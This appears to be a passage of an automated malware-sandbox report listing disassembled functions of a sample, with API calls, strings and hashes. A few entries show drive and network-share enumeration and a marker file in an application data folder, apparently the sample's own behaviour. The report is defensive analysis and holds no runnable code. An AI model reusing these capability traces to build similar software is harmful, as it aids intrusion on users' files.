Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

error:%08lX:%s:%s:%s, xrefs: 00450792
func(%lu), xrefs: 00450734
lib(%lu), xrefs: 0045071C
reason(%lu), xrefs: 00450758

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D
.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(?,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

phrase is too short, needs to be at least %d chars, xrefs: 00463070
Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
.\crypto\pem\pem_lib.c, xrefs: 00463097

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszWindowClass, xrefs: 0041BAA0
LPCWSTRszTitle, xrefs: 0041BA9B

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(005C0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: AllocHeap_free_malloc
String ID:
API String ID: 2734353464-0
Opcode ID: ac30be484878ed1c1fbcd2781803b0d6d497061a6a5de6108b0294a208768cdb
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: ac30be484878ed1c1fbcd2781803b0d6d497061a6a5de6108b0294a208768cdb
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

string too long, xrefs: 00417D36
invalid string position, xrefs: 00417D2C

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

string too long, xrefs: 00414256
invalid string position, xrefs: 00414260

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7
C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,?), ref: 0040C5F6
RpcStringFreeA.RPCRT4(?), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

